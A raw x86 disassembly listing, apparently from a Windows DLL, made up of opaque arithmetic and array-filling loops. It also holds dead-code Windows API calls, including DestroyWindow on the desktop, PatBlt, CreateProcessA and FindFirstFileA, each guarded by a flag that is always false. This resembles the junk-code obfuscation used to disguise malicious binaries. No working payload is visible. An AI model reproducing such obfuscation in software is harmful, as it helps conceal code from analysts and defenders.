xor edx, edx
cmp esi, ecx
lea ecx, [ebp - 0xcc8]
setge dl
mov dword [eax], edx
call fcn.10013eb6
lea ecx, [ebp - 0x624]
mov byte [ebp - 4], 9
call fcn.10013eb6
push 4
pop esi
mov dword [ebp - 0x50], 0x84217059
lea ecx, [ebp - 0x5a4]
mov dword [ebp - 0x34], 0x4c3f4f88
push esi
call fcn.10013e31
xor eax, eax
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1002f25a
or ebx, 0xffffffff
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.10013ed2
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1002f23d
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002f276
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x104c], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002f262
xor eax, eax
push eax
lea ecx, [ebp - 0x5a4]
call fcn.10013ed2
lea ecx, [ebp - 0x5a4]
mov dword [eax], 3
xor eax, eax
push eax
call fcn.10013ed2
cmp dword [eax], 0xfffffff1
jl 0x1002f2eb
xor eax, eax
mov dword [ebp - 0x18], 0x8c9f3690
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002f2c9
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f2c4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1002f2ac
push eax
lea ecx, [ebp - 0x5a4]
call fcn.10013ed2
xor ebx, ebx
lea ecx, [ebp - 0x5a4]
push ebx
dec dword [eax]
call fcn.10013ed2
cmp dword [eax], 0xfffffff1
jge 0x1002f29b
inc ebx
lea ecx, [ebp - 0x5a4]
mov byte [ebp - 4], 9
call fcn.10013eb6
dec dword [ebp - 0x50]
lea ecx, [ebp - 0x128]
push edi
call fcn.10013e31
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0xf5ebec5e
mov dword [ebp - 0x34], 0xfffffffe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f342
push dword [ebp - 0x14]
lea ecx, [ebp - 0x128]
call fcn.10013ed2
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f328
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x1002f535
mov dword [ebp - 0x2c], 0xa772304b
lea ecx, [ebp - 0x874]
push ebx
call fcn.10013e31
xor eax, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f38d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x874]
call fcn.10013ed2
mov dword [eax], 0x44c3f4f8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f36f
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002f455
mov eax, 0xfff9
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x28]
call fcn.10013ed2
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x128]
call fcn.10013ed2
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x128]
push dword [ebp - 0x28]
call fcn.10013ed2
xor edi, edi
cmp dword [eax], edi
jne 0x1002f42f
push dword [ebp - 0x28]
lea ecx, [ebp - 0x128]
call fcn.10013ed2
push edi
lea ecx, [ebp - 0x874]
mov esi, eax
call fcn.10013ed2
mov ecx, dword [eax]
cmp ecx, dword [esi]
je 0x1002f3fe
push dword [ebp - 0x28]
lea ecx, [ebp - 0x128]
call fcn.10013ed2
cmp dword [eax], edi
je 0x1002f409
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002f40b
mov esi, ebx
jmp 0x1002f40d
xor eax, eax
mov esi, eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x128]
call fcn.10013ed2
mov ecx, dword [ebp - 0x3c]
xor edx, edx
cmp esi, ecx
sete dl
sub edx, dword [eax]
jne 0x1002f42f
xor eax, eax
mov esi, eax
jmp 0x1002f431
mov esi, ebx
push ebx
lea ecx, [ebp - 0x128]
call fcn.10013ed2
xor ecx, ecx
cmp esi, dword [eax]
mov eax, dword [ebp - 0x3c]
setne cl
add eax, ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x2c]
lea ecx, [ebp - 0x128]
cmp dword [ebp - 0x2c], ebx
jle 0x1002f395
push ebx
call fcn.10013ed2
mov ecx, dword [ebp - 0x18]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x874]
setg bl
xor esi, esi
push esi
call fcn.10013ed2
xor ecx, ecx
mov edx, 0xffff
cmp ebx, dword [eax]
sete cl
xor eax, eax
cmp ecx, edx
setne al
xor ecx, ecx
cmp eax, 0x6e8
setne cl
xor eax, eax
cmp ecx, 0x1d2a
lea ecx, [ebp - 0x128]
setne al
mov dword [ebp - 0x18], eax
push dword [ebp - 0x28]
call fcn.10013ed2
mov ecx, dword [ebp - 0x18]
xor ebx, ebx
push esi
cmp dword [eax], 0xa699
mov eax, dword [ebp - 0x28]
setge bl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp ebx, edx
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x128]
call fcn.10013ed2
push dword [ebp - 0x28]
lea ecx, [ebp - 0x128]
mov esi, eax
call fcn.10013ed2
mov ecx, dword [esi]
mov byte [ebp - 4], 0x14
mov dword [eax], ecx
lea ecx, [ebp - 0x874]
call fcn.10013eb6
inc dword [ebp - 0x28]
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x28], ebx
jle 0x1002f34e
push 2
pop edi
push 4
pop esi
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 9
call fcn.10013eb6
mov eax, dword [ebp - 0x50]
push 0xfffffffffffffffb
pop ecx
sub ecx, eax
cmp dword [ebp - 0x30], ecx
je 0x1002f7e6
movdqa xmm0, xmmword [0x100067c0]
lea eax, [ebp - 0x11f4]
push eax
lea eax, [ebp - 0x1204]
push eax
lea ecx, [ebp - 0x14ac]
movdqu xmmword [ebp - 0x1204], xmm0
call fcn.10013ee1
lea ecx, [ebp - 0x173]
mov esi, eax
call fcn.10006dcf
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x268]
push dword [esi]
call fcn.10013e90
push edi
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x16
call fcn.10013e31
mov byte [ebp - 4], 0x17
xor eax, eax
push 0xfffffffffffffff8
mov dword [ebp - 0x44], 0x54a20a29
pop esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x14], eax
jmp 0x1002f5d1
push dword [ebp - 0x14]
call fcn.10013ed2
mov dword [eax], esi
inc dword [ebp - 0x14]
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0x14], edi
jl 0x1002f5c4
push ebx
call fcn.10013ed2
mov dword [eax], 3
jmp 0x1002f7a8
push 4
lea ecx, [ebp - 0xa10]
call fcn.10013e31
xor eax, eax
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x14], eax
jmp 0x1002f61c
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa10]
call fcn.10013ed2
mov dword [eax], 0x86a37bd5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002f605
push ebx
lea ecx, [ebp - 0xe4]
call fcn.10013ed2
lea ecx, [ebp - 0x268]
push dword [eax]
call fcn.10013ed2
push ebx
lea ecx, [ebp - 0xe4]
mov esi, eax
call fcn.10013ed2
lea ecx, [ebp - 0x268]
push dword [eax]
call fcn.10013ed2
mov ecx, dword [esi]
push ebx
mov dword [eax], ecx
lea ecx, [ebp - 0xe4]
call fcn.10013ed2
lea ecx, [ebp - 0x268]
push dword [eax]
call fcn.10013ed2
xor ecx, ecx
cmp dword [eax], 0xbd13
setge cl
neg ecx
jne 0x1002f6a6
push ebx
lea ecx, [ebp - 0xe4]
call fcn.10013ed2
lea ecx, [ebp - 0x268]
push dword [eax]
call fcn.10013ed2
cmp dword [eax], 0
jne 0x1002f6a6
xor eax, eax
mov edi, eax
jmp 0x1002f6a8
mov edi, ebx
mov dword [ebp - 0x44], 0xfffffff6
lea ecx, [ebp - 0xe4]
push ebx
call fcn.10013ed2
lea ecx, [ebp - 0x268]
push dword [eax]
call fcn.10013ed2
push ebx
lea ecx, [ebp - 0x268]
mov esi, eax
call fcn.10013ed2
xor ecx, ecx
cmp dword [eax], edi
setg cl
xor ebx, ebx
cmp ecx, dword [esi]
lea ecx, [ebp - 0xe4]
setne bl
xor eax, eax
push eax
call fcn.10013ed2
xor ecx, ecx
cmp ebx, dword [eax]
setle cl
xor edi, edi
mov dword [ebp - 0x34], ecx
inc edi
push edi
lea ecx, [ebp - 0xe4]
call fcn.10013ed2
lea ecx, [ebp - 0x268]
push dword [eax]
call fcn.10013ed2
mov ecx, dword [ebp - 0x34]
xor ebx, ebx
push edi
cmp ecx, dword [eax]
lea ecx, [ebp - 0xe4]
setne bl
add ebx, ebx
call fcn.10013ed2
lea ecx, [ebp - 0x268]
push dword [eax]
call fcn.10013ed2
push edi
lea ecx, [ebp - 0xe4]
mov esi, dword [eax]
add esi, ebx
call fcn.10013ed2
xor edx, edx
push edi
cmp esi, dword [eax]
mov eax, dword [ebp - 0x44]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xe4]
call fcn.10013ed2
mov ecx, dword [ebp - 0x44]
xor ebx, ebx
push 2
pop edi
cmp dword [eax], ecx
lea ecx, [ebp - 0xa10]
push edi
setg bl
call fcn.10013ed2
lea ecx, [ebp - 0xa10]
mov byte [ebp - 4], 0x17
mov dword [eax], ebx
call fcn.10013eb6
xor ebx, ebx
lea ecx, [ebp - 0xe4]
inc ebx
push ebx
call fcn.10013ed2
dec dword [eax]
push ebx
lea ecx, [ebp - 0xe4]
call fcn.10013ed2
cmp dword [eax], 0
jge 0x1002f5ed
lea ecx, [ebp - 0xe4]
call fcn.10013eb6
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 9
call fcn.10013eb6
mov dword [ebp - 0x34], 0xea0d018d
or esi, 0xffffffff
jmp 0x1002f96d
mov dword [ebp - 0x44], ebx
xor eax, eax
mov dword [ebp - 0x40], 0xcd333563
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x48], 0x4dfecbe9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002f81c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2b0], 0x82a1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f804
xor eax, eax
cmp dword [ebp - 0x2b0], eax
je 0x1002f83d
inc dword [ebp - 0x44]
mov eax, dword [ebp - 0x2b0]
neg eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x2a4], eax
jg 0x1002f83f
xor eax, eax
mov ebx, eax
mov ecx, dword [ebp - 0x2b0]
xor edx, edx
mov eax, dword [ebp - 0x2b0]
add ecx, ebx
cmp eax, ecx
mov eax, dword [ebp - 0x2b0]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffff
setg cl
cmp eax, ecx
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2b0]
cmp eax, ecx
mov eax, dword [ebp - 0x2a8]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x2a8]
mov edx, 0xffff
setge bl
xor ecx, ecx
cmp ebx, eax
setl cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], esi
jge 0x1002f8cb
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2b0], edx
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], esi
jl 0x1002f8b7
xor eax, eax
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f8f6
xor edi, edi
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe60], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002f8e0
push 2
pop edi
or esi, 0xffffffff
mov dword [ebp - 0x2c], esi
jmp 0x1002f961
mov dword [ebp - 0x18], 0x34d00693
mov dword [ebp - 0x44], 0x869393dd
mov dword [ebp - 0x44], 0x868
mov dword [ebp - 0x34], 0x8bd921b0
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x44], esi
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x18]
sub ecx, edx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0xe5c], ecx
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x2c]
cmp eax, 0x815cbcef
mov eax, dword [ebp - 0x2c]
sbb edx, edx
inc edx
sub edx, ecx
xor ecx, ecx
cmp edx, eax
mov edx, 0xffff
setne cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x13
je 0x1002f8fe
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x30]
push 1
pop ebx
jns 0x1002ef47
lea ecx, [ebp - 0x790]
mov dword [ebp - 4], esi
call fcn.10013eb6
push edi
lea ecx, [ebp - 0xc08]
call fcn.10013e31
mov dword [ebp - 4], 0x19
mov edi, 0x3384
mov dword [ebp - 0x30], 0xfffffffd
xor eax, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x4c], edi
push 2
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x1002f9d7
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc08]
call fcn.10013ed2
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f9b9
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jge 0x1002f9fd
push dword [ebp - 0x30]
lea ecx, [ebp - 0xc08]
call fcn.10013ed2
mov dword [eax], 0xa32b1cec
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1002f9df
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_CheckMenuItem]
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], eax
jl 0x1002fa2d
xor ebx, ebx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002fa22
push 0x201f
push 0x16d0
push ebx
call esi
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0x30]
jns 0x1002fa0d
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0xc08]
mov dword [ebp - 4], eax
call fcn.10013eb6
push 2
lea ecx, [ebp - 0xa28]
call fcn.10013e31
mov dword [ebp - 4], 0x1a
or eax, 0xffffffff
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002fa8c
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa28]
call fcn.10013ed2
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002fa6d
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x1002fab4
push dword [ebp - 0x30]
lea ecx, [ebp - 0xa28]
call fcn.10013ed2
mov dword [eax], 0xa32b1cec
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1002fa95
xor eax, eax
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], eax
jl 0x1002fade
xor ebx, ebx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002fad3
push 0x201f
push 0x16d0
push ebx
call esi
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0x30]
jns 0x1002fabe
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0xa28]
mov dword [ebp - 4], eax
call fcn.10013eb6
push 2
lea ecx, [ebp - 0xd88]
call fcn.10013e31
mov dword [ebp - 4], 0x1b
or eax, 0xffffffff
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x4c], edi
push 2
mov dword [ebp - 0x14], eax
pop edi
cmp dword [ebp - 0x14], edi
jge 0x1002fb3e
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd88]
call fcn.10013ed2
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002fb20
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x1002fb64
push dword [ebp - 0x30]
lea ecx, [ebp - 0xd88]
call fcn.10013ed2
mov dword [eax], 0xa32b1cec
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1002fb46
xor eax, eax
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], eax
jl 0x1002fb8e
xor ebx, ebx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002fb83
push 0x201f
push 0x16d0
push ebx
call esi
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0x30]
jns 0x1002fb6e
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0xd88]
mov dword [ebp - 4], eax
call fcn.10013eb6
mov esi, 0xa76aabec
mov edi, 0x9f3690f1
mov dword [ebp - 0x14], esi
xor eax, eax
mov dword [ebp - 0x34], edi
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002fbd4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x12ec], 0x3dd3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002fbbc
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x1002fc0d
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x12ec]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002fbfc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x1002fbdf
xor ebx, ebx
push 3
inc ebx
xor eax, eax
pop ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002fc33
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1328], 0x3dd3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002fc1b
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x1002fc69
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1328]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1002fc5b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x1002fc3e
xor ebx, ebx
inc ebx
xor eax, eax
or edi, 0xffffffff
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3c], 0x2afeddd8
mov dword [ebp - 0x34], 0x405a9ad1
mov dword [ebp - 0x44], 0x6b06574f
mov dword [ebp - 0x34], 2
cmp dword [ebp - 0x1c], eax
je 0x1002feb5
push 4
pop edi
push edi
lea ecx, [ebp - 0x14c]
call fcn.10013e31
xor eax, eax
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x14], eax
jmp 0x1002fccc
push dword [ebp - 0x14]
call fcn.10013ed2
mov dword [eax], 0xea52
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x14c]
cmp dword [ebp - 0x14], edi
jl 0x1002fcbb
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
push 3
mov dword [ebp - 0x2c], eax
pop eax
push eax
call fcn.10013ed2
push 2
lea ecx, [ebp - 0x14c]
mov esi, eax
call fcn.10013ed2
xor edx, edx
push 2
mov ecx, dword [eax]
cmp ecx, dword [esi]
lea ecx, [ebp - 0x14c]
setl dl
xor eax, eax
cmp edx, 0x6c715341
setne al
xor ebx, ebx
cmp eax, 0x8700d35
setl bl
call fcn.10013ed2
mov ecx, dword [ebp - 0x2c]
mov edx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, edi
neg ecx
sbb ecx, ecx
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0x14c]
setle bl
xor edi, edi
sub ebx, dword [edx]
inc edi
push edi
call fcn.10013ed2
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp ebx, ecx
lea ecx, [ebp - 0x14c]
push 3
setne dl
xor ebx, ebx
cmp edx, dword [eax]
pop esi
push esi
setg bl
call fcn.10013ed2
xor ecx, ecx
push edi
cmp dword [eax], ebx
sete cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x14c]
call fcn.10013ed2
mov edx, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, dword [eax]
setl cl
xor ebx, ebx
cmp ecx, 0x7eb2
lea ecx, [ebp - 0x14c]
setle bl
xor eax, eax
push eax
call fcn.10013ed2
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax]
imul eax, ebx
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
push edi
lea ecx, [ebp - 0x14c]
call fcn.10013ed2
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp ecx, 0xe52d
lea ecx, [ebp - 0x14c]
push edi
setne dl
xor ebx, ebx
cmp edx, dword [eax]
setle bl
call fcn.10013ed2
xor ecx, ecx
cmp ebx, dword [eax]
sete cl
xor eax, eax
cmp ecx, dword [ebp - 0x1c]
jg 0x1002fe80
mov dword [ebp - 0x1c], eax
jmp 0x1002fe59
cmp byte [ebp - 0x21], 0
je 0x1002fe34
push 0x1370
push 0x5e3
push 0x1ad7
push 0xfe7
push 0xbe1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
xor eax, eax
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], eax
jl 0x1002fe56
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x14c]
call fcn.10013ed2
cmp dword [eax], 0
jne 0x1002fe54
dec dword [ebp - 0x2c]
jns 0x1002fe3c
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
mov byte [ebp - 0x21], al
jle 0x1002fdff
xor ebx, ebx
inc ebx
cmp byte [ebp - 0x21], 0
je 0x1002fea2
push eax
push eax
push eax
push eax
push 0x1034
push ebx
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x1002fea2
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1002fe9f
push 0x264f
push 0x1122
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
xor ebx, ebx
inc ebx
or edi, 0xffffffff
lea ecx, [ebp - 0x14c]
mov dword [ebp - 4], edi
call fcn.10013eb6
jmp 0x1002fecc
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002fec9
push 0xce5
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 3
pop esi
add dword [ebp - 0x14], 0xc80d673
je 0x1002fed8
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x44], 0xffaef179
cmp dword [ebp - 0x44], eax
jne 0x1002ff16
cmp dword [ebp - 0x14], eax
je 0x1002ff18
mov eax, ebx
xor ecx, ecx
mov dword [ebp - 0x2c], edi
cmp ecx, eax
lea ecx, [ebp - 0x6b0]
push esi
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], ebx
call fcn.10013e31
xor eax, eax
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002ff65
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x94], 0x901f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002ff4d
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002ff7d
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6b0]
call fcn.10013ed2
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1002ff6a
mov dword [ebp - 0x2c], 0x3f46
xor edx, edx
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
cmp ecx, eax
setle dl
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x2c]
test eax, eax
je 0x1002ffbc
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x2c]
push ebx
lea ecx, [ebp - 0x6b0]
call fcn.10013ed2
mov ecx, dword [ebp - 0x94]
add ecx, dword [ebp - 0x30]
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10030051
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x44], 0x9fa553fc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x2c], 0xffffffe4
jmp 0x10030048
mov dword [ebp - 0x40], 0x1c0a
lea ecx, [ebp - 0x6b0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
push 8
pop eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
push 2
call fcn.10013ed2
push ebx
lea ecx, [ebp - 0x6b0]
call fcn.10013ed2
mov ecx, dword [ebp - 0x40]
mov dword [eax], ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe2
jl 0x1002fff0
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffffd
jge 0x1002ffda
lea ecx, [ebp - 0x6b0]
mov dword [ebp - 4], edi
call fcn.10013eb6
push 2
lea ecx, [ebp - 0xa58]
call fcn.10013e31
mov dword [ebp - 4], 0x1e
lea ecx, [ebp - 0x544]
mov dword [ebp - 0x28], 0xea6801fc
push 2
call fcn.10013e31
push 4
lea ecx, [ebp - 0x158]
mov byte [ebp - 4], 0x1f
call fcn.10013e31
xor eax, eax
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100300c4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x84], 0xf7d65121
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100300ac
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x100300e8
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x544]
call fcn.10013ed2
mov dword [eax], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100300cd
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1003010f
xor ebx, ebx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x158]
call fcn.10013ed2
mov dword [eax], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100300f3
xor ebx, ebx
inc ebx
mov eax, 0xffff
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x28]
